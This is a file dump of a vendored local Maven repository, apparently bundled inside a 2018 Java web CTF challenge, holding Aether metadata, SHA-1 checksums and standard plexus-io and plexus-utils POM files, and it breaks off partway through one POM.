    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nplexus-io-1.0.jar>central=\nplexus-io-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.jar.sha1",
    "content": "bb1de3fa6a3eea8056bd1b165750d2b761514331"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.17</version>\n  </parent>\n\n  <artifactId>plexus-io</artifactId>\n  <version>1.0</version>\n\n  <name>Plexus IO Components</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-io-1.0</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-io-1.0</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-io-1.0</url>\n  </scm>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>2.0.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.pom.sha1",
    "content": "8442373b14f4b75671edaf9017682f380451caf3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:40 CST 2018\nplexus-io-2.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/plexus-io-2.0.1.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.19</version>\n  </parent>\n\n  <artifactId>plexus-io</artifactId>\n  <version>2.0.1</version>\n\n  <name>Plexus IO Components</name>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-io.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-io.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-io</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP/component/14319</url>\n  </issueManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.2.1</version>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/plexus-io-2.0.1.pom.sha1",
    "content": "a9cae1571f6c8c51c5847e220920266c5229fa5f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:19 CST 2018\nplexus-io-2.0.2.jar>central=\nplexus-io-2.0.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.jar.sha1",
    "content": "5d1890f1099242d6a1a6a46640eed931a96ef67f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.19</version>\n  </parent>\n\n  <artifactId>plexus-io</artifactId>\n  <version>2.0.2</version>\n\n  <name>Plexus IO Components</name>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-io.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-io.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-io</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP/component/14319</url>\n  </issueManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.2.1</version>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.pom.sha1",
    "content": "d0ad15a280e5bf6c32388cbef26fd7d428fa1623"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:17 CST 2018\nplexus-utils-1.0.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.0.4</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <port>6667</port>\n          <channel>#plexus</channel>\n          <host>irc.codehaus.org</host>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/plexus-dev/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-utils</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-utils</developerConnection>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/main/java</sourceDirectory>\n    <scriptSourceDirectory>src/main/scripts</scriptSourceDirectory>\n    <testSourceDirectory>src/test/java</testSourceDirectory>\n    <outputDirectory>target/classes</outputDirectory>\n    <testOutputDirectory>target/test-classes</testOutputDirectory>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n    </testResources>\n    <directory>target</directory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-3-SNAPSHOT</version>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/tags</tagBase>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>RELEASE</version>\n        <configuration>\n          <excludes>\n            <exclude implementation=\"java.lang.String\">org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude implementation=\"java.lang.String\">**/Test*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <repositories>\n    <repository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots</id>\n      <name>Maven Snapshot Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </repository>\n    <repository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Repository Switchboard</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots-plugins</id>\n      <name>Maven Snapshot Plugins Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </pluginRepository>\n    <pluginRepository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Plugin Repository</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <outputDirectory>target/site</outputDirectory>\n  </reporting>\n  <distributionManagement>\n    <repository>\n      <id>repo1</id>\n      <name>Maven Central Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>snapshots</id>\n      <name>Maven Central Development Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2</url>\n    </snapshotRepository>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom.sha1",
    "content": "a82e1ddd2d795616ac58d73ed246b8ec65326dfa  /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:06 CST 2018\nplexus-utils-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/plexus-utils-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.8</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.3</version>\n  <scm>\n    <connection>scm:svn:https://svn.codehaus.org/plexus/tags/plexus-utils-1.3</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/tags/plexus-utils-1.3</developerConnection>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/plexus-utils-1.3.pom.sha1",
    "content": "050fadd040060c86cfd5d78ba95dab0cffcbcf5e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:31 CST 2018\nplexus-utils-1.4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.11</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.4.1</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <scm> \n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.1</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.1</developerConnection> \n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.1</url>\n  </scm>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom.sha1",
    "content": "0a77530df5e881e55a4ffaea4b6bf33d57bc5b26"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:22 CST 2018\nplexus-utils-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/plexus-utils-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.11</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.4.2</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <scm> \n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.2</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.2</developerConnection> \n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.2</url>\n  </scm>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/plexus-utils-1.4.2.pom.sha1",
    "content": "f530a0f2aae3ef8e65ca359e7243d67ecc366076"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:49 CST 2018\nplexus-utils-1.4.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/plexus-utils-1.4.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.11</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.4.5</version>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.5</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.5</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.5</url>\n  </scm>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/plexus-utils-1.4.5.pom.sha1",
    "content": "0bdc8a7fbce7d9007a93d289a029b43e1196d85c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nplexus-utils-1.5.1.pom>central=\nplexus-utils-1.5.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.jar.sha1",
    "content": "342d1eb41a2bc7b52fa2e54e9872463fc86e2650"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.11</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.5.1</version>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.1</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.1</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.1</url>\n  </scm>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.pom.sha1",
    "content": "2a0b3470063440066d3b8a084340ce07dbdbfedc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nplexus-utils-1.5.10.jar>central=\nplexus-utils-1.5.10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.jar.sha1",
    "content": "f387a2faa309154d90b90cc049e44b7833a6c282"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.2</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.5.10</version>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.10</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.10</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.10</url>\n  </scm>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        